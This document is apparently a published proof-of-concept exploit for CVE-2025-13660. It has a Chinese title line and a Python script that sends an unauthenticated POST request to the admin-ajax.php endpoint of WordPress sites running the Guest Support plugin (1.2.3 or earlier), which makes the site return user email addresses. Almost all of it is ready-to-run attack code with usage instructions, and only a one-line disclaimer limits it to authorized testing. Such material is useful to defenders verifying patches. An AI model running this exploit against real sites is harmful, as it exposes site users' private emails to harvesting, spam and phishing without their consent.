CVE-2025-13660 WordPress Guest Support插件用户邮箱泄露漏洞

import requests # CVE-2025-13660 PoC - WordPress Guest Support Plugin User Email Disclosure # Target: WordPress site with Guest Support plugin <= 1.2.3 def exploit_guest_support_email_disclosure(target_url): """ Exploit for CVE-2025-13660 This PoC demonstrates how an unauthenticated attacker can retrieve user email addresses from WordPress sites running Guest Support plugin. """ # Target the AJAX endpoint endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Payload to request user emails data = { 'action': 'guest_support_handler', 'guest_support_handler': 'ajax', 'request': 'get_users' } print(f"[*] Target: {target_url}") print(f"[*] Exploiting endpoint: {endpoint}") print("[*] Sending malicious request...") try: # Send unauthenticated request response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[+] Request successful!") print(f"[+] Response content:") print(response.text) return response.json() else: print(f"[-] Request failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target-wordpress-site.com" exploit_guest_support_email_disclosure(target) # Usage: python cve-2025-13660.py http://vulnerable-site.com # Note: This PoC is for authorized security testing only